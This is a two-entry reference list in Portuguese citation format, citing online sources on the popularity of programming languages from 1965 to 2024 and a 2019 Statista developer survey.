The Most Popular Programming Languages – 1965/2024 – New Update –. Disponível em: <https://statisticsanddata.org/data/most-popular-programming-languages-1965-2024/>.
STATISTA. Most Used Languages among Software Developers Globally 2019. Disponível em: <https://www.statista.com/statistics/793628/worldwide-developer-survey-most-used-languages/>.
